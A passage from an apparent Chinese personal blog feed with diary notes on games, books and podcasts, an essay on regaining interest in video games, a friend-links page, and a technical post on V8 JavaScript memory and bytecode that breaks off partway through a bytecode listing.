&lt;p&gt;&lt;img src=&quot;./attachments/bafkreidmabyxjamchvwg267ykjkabeyd25eyirptz5hknnrlxdsc7nbqve.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6316525939311360433-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;具体的推理过程就不细说了，只说几个点：&lt;/p&gt;
&lt;p&gt;故事开始时，每个人的身份，容貌，性别，名字，都是互相推理出来的，DM只会在关键节点引导你，至于你的推理结果，DM都是对对对（怪不得推理这么容易呢，原来是为了给反转做铺垫🥹&lt;/p&gt;
&lt;p&gt;另外就是第一次接触到叙事性诡计，那什么叫叙事性诡计呢？&lt;/p&gt;
&lt;p&gt;举个例子吧：&lt;/p&gt;
&lt;p&gt;在我的剧本中，是一个关于无知的村民要抽签选人来献祭的故事，抽签的结果是：小悠山（日本人特有的昵称，即小+姓氏，所以事实上大家不知道名字）&lt;/p&gt;
&lt;p&gt;在后续的推断中，由于剧本中提到了，村民们说过，“真琴”要被献祭了&lt;/p&gt;
&lt;p&gt;于是大家一致认为，这里抽出的签人名为 悠山真琴&lt;/p&gt;
&lt;p&gt;然而事实则完全相反：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;抽签结果只是小悠山，并不是悠山真琴（后续推断出是悠山翼）&lt;/li&gt;
&lt;li&gt;“真琴”要被献祭，这其实是替换原定的献祭人（因为她死了）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;类似的种种，数不胜数。可以理解为一种虚假的真相，让人先入为主的造成固有印象，确实是第一次接触了🫠&lt;/p&gt;
&lt;p&gt;📚重读《夜晚的潜水艇》&lt;/p&gt;
&lt;p&gt;重新回顾了下《夜晚的潜水艇》（去年就读完了），但奈何写的太好了，写点东西做个纪念：&lt;/p&gt;
&lt;p&gt;看陈春成的小说，就像一个患者，被他连哄带骗地，在手术床上躺下
闭上眼睛，麻药入体，惨淡的灯光下，当他确认你已不能动弹。
每每此时，他便开始癫狂，开始近乎变态的对文字进行拆解，恨不得只留下偏旁部首，如同施展玄妙的文字阵法
似乎灵魂迷宫曲折的道路，宇宙尽头演化的规律，幽暗空间奇妙的玄幻，尽皆为其所包裹，所容纳，所吞吐
你只能眼睁睁地看着这一切，无力反抗，无力挣扎
这其中，第一篇《夜晚的潜水艇》则尤为让我欣赏。在孩童的眼中，每一滴雨水都可能是一场大冒险的开始，每一个彩虹都是通往另一个世界的门户，每一个字都充满了魔法和力量
就像一幅永远画不完的画，一本永远写不完的故事，一片难以穷尽的蓝天
然而结尾，仅剩的稀薄想象力，早已无力支撑起潜艇的运行
若夜晚还记得潜水艇曾在大海航行
若黄昏还记得航母曾在大洋里驰骋
若星夜还记得飞碟曾在太空中对战
“这里不再有繁密的枝叶、柔软的泥沼、斑斓的鹦鹉和吐着信子的蛇，眼前只有确凿的地面和匆匆的人”&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeicripi7zf6aqhghi65d56cvpkwplevpobjpr3ynkvm7kqiyqrgt4u.jpeg&quot; alt=&quot;DraggedImage-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;🕹️游戏&lt;/p&gt;
&lt;p&gt;开始重拾对游戏的热爱了！原因则写在&lt;a href=&quot;https://raye.xlog.app/ru-he-ke-fu-nei-xin-de-kong-ju--cong-dian-zi-yang-wei-shuo-qi&quot;&gt;《如何克服电子阳痿》&lt;/a&gt;这篇文章了&lt;/p&gt;
&lt;p&gt;Hifi rush 这个算是微软今年评分最高的游戏了吧（我哭死，星空真的，辜负了我），虽然年初就发售而且入了XGP，但是我这个拖延症就玩了前几章，后面就没玩了，这次找了个下午通关了&lt;/p&gt;
&lt;p&gt;这个音游在我心中可以排到top1了，游戏里所有的物品都会跟随者节奏来跳动，配合炫酷的连招，大招与斩杀效果，配合xbox那个沙雕手柄可以震到手发麻…&lt;/p&gt;
&lt;p&gt;这张图把我笑死了哈哈哈哈：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreidaowegqulad3nfuqfimss2iikwjikdki43jgfag5guaxtdecgkam.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6318953063985035218-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;p5r 也是，一直卡在奥村的宫殿boss那里，然后就没有去打，这次终于打通了，另外学妹也有面具了啊啊啊学妹真的太漂亮了！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreia63hw3yuqjwgudajmf5jnvc6gnhgxiwrejjy7kmtgy2bfrtgghge.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6318953063985035219-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;星之海，也是最近才发售的一款JRPG游戏，可以和八方旅人pk下了，解谜、战斗、音乐等体验下来还是非常棒的&lt;/p&gt;
&lt;p&gt;《星空》褒姒了，真的太难受了，本来还想期待着微软能给玩家带来亿点点震撼，结果，还是那个b味&lt;/p&gt;
&lt;p&gt;于是果断买了ps5，pdd百亿补贴安全下车，真的香。同时想着Switch好像也很便宜，那就买吧，顺带把王国之泪的卡带也买了&lt;/p&gt;
&lt;p&gt;🎧播客&lt;/p&gt;
&lt;p&gt;除你武器最新的一集播客带给我很深的思考&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreicv4jrtvywsvg3wdwgiojplzhowfki22him3gmxkvptjvfdayuy4q.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6339332280077628944-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;适当转移注意力，不要给自己施加太多压力，匆忙的当下，我们有时候更多的是需要无所事事，需要有一段被浪费的时间，告诉我们，不学习、不工作、不去想任何牵扯因果的事情，只属于自己的静水流深，也是值得被珍惜的。
这么说会有点像精神内耗，或者说是精神内耗的扩展，即隐性的内耗。显性的内耗则是指如社恐、担心别人的看法等等，而隐性的则是指自己与自己对抗，如害怕无法集中注意力，害怕浪费时间等等
以前每次工作的时候，稍微看个消息回复个消息都会让我觉得自己注意力被打扰了，严重的时候，甚至于每晚入睡，只要稍微精神清醒了点，就会怀疑自己是否能睡着，是否会影响到后面的工作等等
后面可能想写一篇针对如何休息的话题来做个探讨，也在努力的探索适合自己的休息方式（又开始挖坑了&lt;/p&gt;
&lt;p&gt;💭杂念&lt;/p&gt;
&lt;p&gt;老蒋最新一期讲邓艾的视频，纠正了我一直以来玩三国杀的误区&lt;/p&gt;
&lt;p&gt;【三国杀：我为什么一直都不喜欢邓艾？丨蒋述】 https://www.bilibili.com/video/BV1DF411677q/?share_source=copy_web&amp;amp;vd_source=eb74eb1e105cb306ab17818712e795b8&lt;/p&gt;
&lt;p&gt;路人局最忌讳的就是能力不行，想法还多&lt;/p&gt;
&lt;p&gt;执行大过决策
三流的决策一流的执行，永远大于一流的决策三流的执行&lt;/p&gt;
&lt;p&gt;如果你是忠臣，主公开局对着你认为最有可能是忠臣内奸的角色盲狙，你能怎么办？
答案是只能跟进：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果盲错了，那就交待了，但是你的犹豫也做不了啥，于事无补&lt;/li&gt;
&lt;li&gt;如果盲对了，如果少了你的跟进，那责任反倒是由你来承担&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;📮 Newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦, &lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tianheg.co/posts/play-with-myself-at-23/&quot;&gt; 23岁的我，不会玩 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s?__biz=MzU4NDQ5MzkwNQ==&amp;amp;mid=2247493956&amp;amp;idx=1&amp;amp;sn=91a815549c033afd1bd5738323e2955d&amp;amp;chksm=fd9a577acaedde6c3e299e032bf6317344ca0d5a0cef7f27c5b8e9f56a10c3c00fc3dcd872e5rd&quot;&gt; 当她将交友软件里的年龄调低到14岁 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s?__biz=MjM5OTg2MzE4Mg==&amp;amp;mid=2257483855&amp;amp;idx=1&amp;amp;sn=012da42659d465e1ebcb0adcd148dd42&amp;amp;chksm=a44e2eae9339a7b8d248bbd2bdb1b3640864e040900c63d71d001a35eb6833f52f9a586e4917rd&quot;&gt; 一个独立创造者的五年 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1Uh411p7r3/&quot;&gt; 决战刘谦！魔术VS超高速摄影机，能拍到破绽吗？ &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV12w411D7F1&quot;&gt; 【IKGN】11分，《星空》评测：天外有天！ &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV19u4y1D7GT&quot;&gt; 【毕导】这个视频里说的都是真的，但你却永远无法证明 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1844y1D7E7&quot;&gt; 用文明6的超大地图，按照真实的中国历史建造城市（高清） &lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>如何克服内心的恐惧——从电子阳痿说起</title><link>https://rayepeng.net/posts/%E5%A6%82%E4%BD%95%E5%85%8B%E6%9C%8D%E5%86%85%E5%BF%83%E7%9A%84%E6%81%90%E6%83%A7%E4%BB%8E%E7%94%B5%E5%AD%90%E9%98%B3%E7%97%BF%E8%AF%B4%E8%B5%B7/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%A6%82%E4%BD%95%E5%85%8B%E6%9C%8D%E5%86%85%E5%BF%83%E7%9A%84%E6%81%90%E6%83%A7%E4%BB%8E%E7%94%B5%E5%AD%90%E9%98%B3%E7%97%BF%E8%AF%B4%E8%B5%B7/</guid><pubDate>Sun, 10 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;如何克服内心的恐惧——从电子阳痿说起&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiehoqrl5o2ao4xgmuu2cdwybspo5jmiza6bzf63ytiharxhd2osva.png&quot; alt=&quot;Group 1 (1)&quot; /&gt;&lt;/p&gt;
&lt;p&gt;4-6月基本处于电子阳痿状态，简单来说就是所有游戏都提不起兴趣，觉得自己一眼就看透了游戏的玩法，也没有什么新鲜感,，进入游戏后只想着快点完成任务，遇到一点点解谜的困难、或者游戏里迷路了恨不得马上退出&lt;/p&gt;
&lt;p&gt;连接手柄，打开游戏，似乎就已经耗费了我所有的心力。看到游戏加载界面的时候就已经产生了无数种想要逃离的冲动。当真正进入游戏的时候，只要遇到一点困难，就会觉得心力憔悴，似乎找到了一个绝佳的逃跑借口&lt;/p&gt;
&lt;p&gt;不过我最近已经逐渐脱离这种感觉了，看到谈论电子阳痿，吐槽游戏同质化严重的文章、视频很多，反倒是如何克服电子阳痿的很少&lt;/p&gt;
&lt;p&gt;那就来回顾下吧，我是如何克服电子阳痿的&lt;/p&gt;
&lt;p&gt;“该死的”XGP&lt;/p&gt;
&lt;p&gt;首先还是要感(吐)谢(槽)一下XGP，我觉得这是我连续几个月也都没打游戏的罪魁祸首&lt;/p&gt;
&lt;p&gt;不得不说，在我入坑XBOX之后，XGP会员提供的游戏实在是太多了🥹，多到我都已经失去了探索的动力。配合上XBOX的Quick Resume，我10分钟内能连着切换好几个不同的游戏，p5r boos打不过去了，就切到地平线开会车，开车累就了切到fifa踢会球，再切到脑航员继续探索&lt;/p&gt;
&lt;p&gt;看上去画面很美好，但实际上，不断地切换游戏实际上严重浪费着我的精力，RPG类游戏有一个特点，就是需要不断地在游戏中探索，持续深入才能不断刺激多巴胺。而车枪球类游戏，则基本是开一局，立马就能快速获得多巴胺。这恐怕也就是XBOX特别适合玩车枪球的原因了吧&lt;/p&gt;
&lt;p&gt;于是XBOX逐渐就沦为了地平线、fifa、光环的启动器了🤣&lt;/p&gt;
&lt;p&gt;但是当我某一天发现，我在XGP上看简介都提不上兴趣的游戏，在steam则是好评如潮，并且是我看了一定要加愿望单购买，然后爽玩的游戏&lt;/p&gt;
&lt;p&gt;究其原因，还是在于XBOX商店的这些游戏，社区建设实在是太烂了，只看游戏简介完全提不起兴趣&lt;/p&gt;
&lt;p&gt;我曾经得出过一个结论，任何产品，只有你参与到社区，真正在其中发表内容，与他人互动，才算融入其中，比如xlog（没注册xlog发表文章的你还在等什么呢🐶&lt;/p&gt;
&lt;p&gt;一个缺失了社区的平台，让人觉得枯燥没有生机，熟悉感&lt;/p&gt;
&lt;p&gt;反观steam，玩家的评价，简介，视频，直播（虽然不一定去看）等，都让你深切的感受到，这是一个有意思的社区，这是一款有意思的游戏&lt;/p&gt;
&lt;p&gt;还有另外一个结论，是以前在某本书上看到的，即，文学作品的有三重理解境界，即作者写作时的理解，读者阅读时的理解，读者的理解反哺作者的理解，其实放在电子游戏上也是这样&lt;/p&gt;
&lt;p&gt;我们在可以在饥荒里重现桃花源记的静谧，让本充满凶险的未知世界也变得岁月静好，在hifi rush中跟随音乐舞动，带领伙伴们打败大反派，在p5r中重回高中时代，经历一场甜美的恋爱，在末日美国中经历生存的危机，感受伴侣的信任&lt;/p&gt;
&lt;p&gt;这才是游戏的魅力，是我们玩游戏的最初动力&lt;/p&gt;
&lt;p&gt;认识多巴胺&lt;/p&gt;
&lt;p&gt;上文提到了多巴胺，这里当然还是推荐去阅读《贪婪的多巴胺》这本书了，书中的定义如下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这种对“下一个”的期待和痴迷叫作“奖赏预测误差”。我们每时每刻都在预测将要发生的事：盲盒里面是什么，下一个短视频是什么，会不会收到生日惊喜……
实际发生的事只要好于我们的预期，就会触发一种物质行动起来。这种物质的分泌不是源于“快乐”本身，而是预期之外的好消息带来的兴奋感。
这就是多巴胺，它是我们体内种植的原始动力。美国精神病学家丹尼尔·利伯曼更是在《贪婪的多巴胺》中直言：“没有多巴胺，你就不会努力。”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;克服电子阳痿，其实本质上是我们对于游戏内要发生的事情已经有了预知，或是知道这个关卡的boss很难打，或是知道玩法是相同的，或是缺少自由活动的空间。&lt;/p&gt;
&lt;p&gt;但，玩游戏是可以通过多种方式来获取多巴胺的，而我经常狭隘地理解为，只有新鲜感才是，只要新鲜感一过，那么就认为是在游戏内打工，坐牢，从而极度痛苦&lt;/p&gt;
&lt;p&gt;那么有哪些办法可以去探索新的未知呢？我总结了几个：&lt;/p&gt;
&lt;p&gt;学会分析游戏&lt;/p&gt;
&lt;p&gt;比如我最喜欢的卡牌肉鸽游戏《杀戮尖塔》，背后的组牌学问就有很多，什么时候该丢弃卡牌，什么时候该升级卡牌，配合哪些遗物，选择拿条路线&lt;/p&gt;
&lt;p&gt;再比如klei的《缺氧》，这简直堪比理科生梦寐以求的伴侣（奇怪的比喻增加了🤣），游戏内容庞大到需要时刻查看wiki，类似的还有文明六，其4X游戏的设计理念，Gamker都有很好的分析，当你了解到游戏背后的设计时，你也会被策划的脑洞所惊叹，游戏中某些不起眼的细节，如《最后生还者2》里穿衣服的动作，你才知道原来开发成本居然这么大&lt;/p&gt;
&lt;p&gt;刷成就&lt;/p&gt;
&lt;p&gt;我以前其实对成就是没有任何感冒的，玩个游戏就好了，成就更像是一种可有可无的添头，至于要刻意去刷成就，对我来说简直是不可想象的&lt;/p&gt;
&lt;p&gt;但是当我真正关注到成就的时候，我才发现很多成就其实很有意思（当然不排除有些成就设计的很沙雕）&lt;/p&gt;
&lt;p&gt;根据多巴胺的理论，让自己始终保持新鲜感，所以成就其实不失为一种小阶段的目标，当你看到一个隐藏成就被自己发现，努力直至解锁的过程。你就能意识到，原来成就系统似乎也不再是添头了，而是一种类似里程碑的存在。&lt;/p&gt;
&lt;p&gt;顺带吐槽下Switch居然没有成就系统！😅&lt;/p&gt;
&lt;p&gt;看攻略&lt;/p&gt;
&lt;p&gt;不要害怕找攻略会剧透游戏，找攻略本身就是游玩的一环&lt;/p&gt;
&lt;p&gt;玩单机游戏的过程，有时候很像是在做阅读理解题目，你的想法和出题人的想法往往不能很好地重合&lt;/p&gt;
&lt;p&gt;所以就经常出现，啊这个说明是什么意思？这个引导是在干嘛？当遇到这类困难的时候，会带个我们深深的挫败感&lt;/p&gt;
&lt;p&gt;但是我们又往往害怕找攻略，觉得会损害自己的游戏体验。&lt;/p&gt;
&lt;p&gt;其实何必呢，优秀的游戏哪怕就是剧透了，你后续在自己尝试的过程中，也能体会到这个游戏背后的思考与传达的主题，更何况一千个读者还有一千个哈姆雷特呢&lt;/p&gt;
&lt;p&gt;所以不用担心，遇到过不去的关卡就大胆的寻找别人的攻略吧&lt;/p&gt;
&lt;p&gt;适当“云”游戏&lt;/p&gt;
&lt;p&gt;这里当然不是指名词上的云游戏，而是指作为一个云玩家，去云一款游戏&lt;/p&gt;
&lt;p&gt;我最开始是讨厌云玩家的（貌似对这类人的风评也一直都很差）&lt;/p&gt;
&lt;p&gt;但其实，你可以尝试去云一下，当发现别人玩的很糟糕，或者是弹幕中飘过一段很吸引你的文字时，你也会有一种想要去玩游戏的动力了（好想玩博德之门3啊😭）&lt;/p&gt;
&lt;p&gt;写在最后&lt;/p&gt;
&lt;p&gt;其实以上的所有办法，本质上还是依靠一定的好奇心与自驱力去探索的，最大的前提其实是保持充足的精力。只有精力充沛，才能让多巴胺的刺激时刻有效&lt;/p&gt;
&lt;p&gt;最后的最后&lt;/p&gt;
&lt;p&gt;如果继续扩展，其实所有的事情，不都是这样吗，只有当你开始转变思路，重新发现其中蕴藏的意义，探索，驱动，奖励，多巴胺就开始起作用了&lt;/p&gt;
&lt;p&gt;工作、学习、生活、恋爱、社交，这一切的一切，都是如此，借用《被讨厌的勇气》这本书所说的：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你由于太惧怕人际关系所以才会变得讨厌自己，你是在通过自我厌弃来逃避人际关系
不愿意为了改变自我而牺牲目前所享受的乐趣——比如玩乐或休闲时间。也就是拿不出改变生活方式的“勇气”，&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;你不是因为恐惧而不敢去做，那只不过是你的借口，你要拿出的是改变思路、转换视角、重新发现的“勇气”&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>友链</title><link>https://rayepeng.net/posts/%E5%8F%8B%E9%93%BE/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%8F%8B%E9%93%BE/</guid><pubDate>Wed, 06 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;友链&lt;/p&gt;
&lt;p&gt;&amp;lt;ul class=&quot;links&quot;&amp;gt;
&amp;lt;li style=&quot;background-image:url(https://ucarecdn.com/31466e3e-7b33-4155-a537-90f9c2d78956/diygodme_crop.jpg)&quot;&amp;gt; &amp;lt;a href=&quot;https://diygod.me&quot; target=&quot;_blank&quot;&amp;gt; &amp;lt;div&amp;gt; &amp;lt;i class=&quot;round&quot; style=&quot;background-image:url(https://icon.ssh.town/diygod.me)&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;p&amp;gt;DIYgod&amp;lt;/p&amp;gt;&amp;lt;span&amp;gt;写代码是热爱，写到世界充满爱！&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;
&amp;lt;/li&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;li style=&quot;background-image:url(https://blog.wangyunzi.com/cover/claude-monet.jpg)&quot;&amp;gt;
&amp;lt;a href=&quot;https://mx.sb/&quot; target=&quot;_blank&quot;&amp;gt; &amp;lt;div&amp;gt;
&amp;lt;i class=&quot;round&quot; style=&quot;background-image:url(https://mx.sb/_next/image?url=https%3A%2F%2Fipfs.4everland.xyz%2Fipfs%2Fbafkreide6getomj3vlnqtfc5kcoozjnndepyqrtfoyfirqjb3wsrnds6my&amp;amp;w=256&amp;amp;q=75)&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;p&amp;gt;365cent&amp;lt;/p&amp;gt;
&amp;lt;span&amp;gt;Nothing creative&amp;lt;/span&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/a&amp;gt;
&amp;lt;/li&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;li style=&quot;background-image:url(https://www.hdwallpapers.in/thumbs/2022/galaxy_nebula_blue_glow_stars_space_black_sky_night_hd_space-t2.jpg)&quot;&amp;gt;
&amp;lt;a href=&quot;https://dsh.xlog.app/&quot; target=&quot;_blank&quot;&amp;gt; &amp;lt;div&amp;gt;
&amp;lt;i class=&quot;round&quot; style=&quot;background-image:url(https://cdn.discordapp.com/avatars/1094303063273115769/fbb67d91de242963db2463ab8c28fe80.webp?size=128)&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;p&amp;gt;DDDDDSH&amp;lt;/p&amp;gt;
&amp;lt;span&amp;gt;生活· 美学 · 艺术 · 想法&amp;lt;/span&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/a&amp;gt;
&amp;lt;/li&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/ul&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>从一个问题引发的JS内存探索</title><link>https://rayepeng.net/posts/%E4%BB%8E%E4%B8%80%E4%B8%AA%E9%97%AE%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84js%E5%86%85%E5%AD%98%E6%8E%A2%E7%B4%A2/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E4%BB%8E%E4%B8%80%E4%B8%AA%E9%97%AE%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84js%E5%86%85%E5%AD%98%E6%8E%A2%E7%B4%A2/</guid><pubDate>Mon, 28 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;从一个问题引发的JS内存探索&lt;/p&gt;
&lt;p&gt;标题其实不太恰当，先这样吧&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiarqugozxrfahcfgwqut56yrh4ycgrjhnkujij2jhw6glptvaj7fm.png&quot; alt=&quot;Group 1 (1)&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从一个内存规律说起&lt;/p&gt;
&lt;p&gt;起因是在研究微信小游戏的时候，发现网上一直流传着一个规律，即游戏内数值 * 2 = 内存数值&lt;/p&gt;
&lt;p&gt;比如：&lt;a href=&quot;https://www.nowcoder.com/discuss/352819218934489088&quot;&gt; CE游戏内存修改-爱神花园 &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiaewaqfm2cnq3oo36svhgz2mx26kxc2jl27s5v3hh7evq7g23hy6a.png&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个两倍确实有点令人费解，按照我对编译原理的理解，代码最后变为汇编代码的过程中，虽然会经过常量折叠等操作，但代码中数值是多少，实际内存中的数值也就是那个，比如我们通过CE来修改植物大战僵尸，代码中并未对阳光数值做加密，因此直接搜索数值就可以定位到：
&lt;a href=&quot;https://blog.51cto.com/u_15302226/5189504&quot;&gt; [re入门]ce对植物大战僵尸的修改 &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果是游戏做了数值的变化还好说，但是实际游戏代码里是并未去做这类操作的（要做这个操作也不至于简单地做个2倍乘法吧🤔）&lt;/p&gt;
&lt;p&gt;由此作为因子，开始研究JS的内存问题&lt;/p&gt;
&lt;p&gt;v8引擎&lt;/p&gt;
&lt;p&gt;本质上微信小程序代码也是跑在v8引擎上的，于是开始好奇JS代码是怎么一步步变为汇编代码的&lt;/p&gt;
&lt;p&gt;我以为node.js就是v8，毕竟node.js也是基于v8移植的嘛，但发现两者还是有区别的。v8 本身是提供了一个shell的，这个才是最原汁原味的&lt;/p&gt;
&lt;p&gt;本地可以编译一个v8 shell&lt;/p&gt;
&lt;p&gt;步骤参考：&lt;a href=&quot;https://gist.github.com/Becavalier/58da63744f255abe5717e23dacc673e5&quot;&gt;https://gist.github.com/Becavalier/58da63744f255abe5717e23dacc673e5&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; 下载二进制工具
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

source ~/.bash_profile

 新建一个想要安装v8的目录
gclient

fetch v8
cd v8
gclient sync
tools/dev/v8gen.py x64.optdebug
ninja -C out.gn/x64.optdebug 

 最后获得d8的安装路径
/path/chromev8/v8/out.gn/x64.optdebug/d8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;v8 是怎么编译执行JS代码的？&lt;/p&gt;
&lt;p&gt;基本原理还是那套，词法解析-&amp;gt;语法解析-&amp;gt;中间代码生成等&lt;/p&gt;
&lt;p&gt;不过v8还做了很多优化，即 &lt;code&gt;ignition&lt;/code&gt; 与 &lt;code&gt;turbofan&lt;/code&gt; ，但这些都不在本次讨论范围内&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreid2uqvx5ii53llefy77rnclbq4khhnlqyb2jeadzgwlbkj6eufmsi.png&quot; alt=&quot;DraggedImage-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从图中可以看到，最后的结果就是 bytecode，那么这个bytecode长什么样子？&lt;/p&gt;
&lt;p&gt;写一段代码做测试：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function test( obj ) {
  return obj.money + 10;
}

class UserData {
  constructor( money, power ) {
    this.money = money;
    this.power = power;
  }
}
u = new UserData(50, 100);
console.log(u.money, u.power);
for(let i = 0; i &amp;lt; 100000000; i++){
  test( u );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打印字节码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;d8  -print-bytecode test1.js 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我这里就把完整的字节码放上来了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[generated bytecode for function:  (0x35e90011ae01 &amp;lt;SharedFunctionInfo&amp;gt;)]
Bytecode length: 131
Parameter count 1
Register count 7
Frame size 56
         0x35e90011afec @    0 : 13 00             LdaConstant [0]
         0x35e90011afee @    2 : c3                Star2
         0x35e90011afef @    3 : 19 fe f7          Mov &amp;lt;closure&amp;gt;, r3
         0x35e90011aff2 @    6 : 65 68 01 f8 02    CallRuntime [DeclareGlobals], r2-r3
         0x35e90011aff7 @   11 : 82 01             CreateBlockContext [1]
         0x35e90011aff9 @   13 : 1a f8             PushContext r2
         0x35e90011affb @   15 : 10                LdaTheHole
         0x35e90011affc @   16 : bf                Star6
         0x35e90011affd @   17 : 81 03 00 00       CreateClosure [3], [0], 0
         0x35e90011b001 @   21 : c2                Star3
         0x35e90011b002 @   22 : 13 02             LdaConstant [2]
         0x35e90011b004 @   24 : c1                Star4
         0x35e90011b005 @   25 : 19 f7 f5          Mov r3, r5
         0x35e90011b008 @   28 : 65 2a 00 f6 03    CallRuntime [DefineClass], r4-r6
         0x35e90011b00d @   33 : 1b f8             PopContext r2
         0x35e90011b00f @   35 : 0b f5             Ldar r5
         0x35e90011b011 @   37 : 25 02             StaCurrentContextSlot [2]
         0x35e90011b013 @   39 : 16 02             LdaCurrentContextSlot [2]
         0x35e90011b015 @   41 : c3                Star2
         0x35e90011b016 @   42 : 0d 32             LdaSmi [50]
         0x35e90011b018 @   44 : c2                Star3
         0x35e90011b019 @   45 : 0d 64             LdaSmi [100]
         0x35e90011b01b @   47 : c1                Star4
         0x35e90011b01c @   48 : 0b f8             Ldar r2
         0x35e90011b01e @   50 : 69 f8 f7 02 00    Construct r2, r3-r4, [0]
         0x35e90011b023 @   55 : 23 04 02          StaGlobal [4], [2]
         0x35e90011b026 @   58 : 21 05 04          LdaGlobal [5], [4]
         0x35e90011b029 @   61 : c2                Star3
         0x35e90011b02a @   62 : 2d f7 06 06       GetNamedProperty r3, [6], [6]
         0x35e90011b02e @   66 : c3                Star2
         0x35e90011b02f @   67 : 21 04 08          LdaGlobal [4], [8]
         0x35e90011b032 @   70 : c1                Star4
         0x35e90011b033 @   71 : 2d f6 07 0a       GetNamedProperty r4, [7], [10]
         0x35e90011b037 @   75 : c1                Star4
         0x35e90011b038 @   76 : 21 04 08          LdaGlobal [4], [8]
         0x35e90011b03b @   79 : c0                Star5
         0x35e90011b03c @   80 : 2d f5 08 0c       GetNamedProperty r5, [8], [12]
         0x35e90011b040 @   84 : c0                Star5
         0x35e90011b041 @   85 : 5f f8 f7 f6 f5 0e CallProperty2 r2, r3, r4, r5, [14]
         0x35e90011b047 @   91 : 0c                LdaZero
         0x35e90011b048 @   92 : c4                Star1
         0x35e90011b049 @   93 : 0e                LdaUndefined
         0x35e90011b04a @   94 : c5                Star0
         0x35e90011b04b @   95 : 01 0d 00 e1 f5 05 LdaSmi.ExtraWide [100000000]
         0x35e90011b051 @  101 : 6d f9 10          TestLessThan r1, [16]
         0x35e90011b054 @  104 : 9a 18             JumpIfFalse [24] (0x35e90011b06c @ 128)
         0x35e90011b056 @  106 : 21 09 11          LdaGlobal [9], [17]
         0x35e90011b059 @  109 : c3                Star2
         0x35e90011b05a @  110 : 21 04 08          LdaGlobal [4], [8]
         0x35e90011b05d @  113 : c2                Star3
         0x35e90011b05e @  114 : 62 f8 f7 13       CallUndefinedReceiver1 r2, r3, [19]
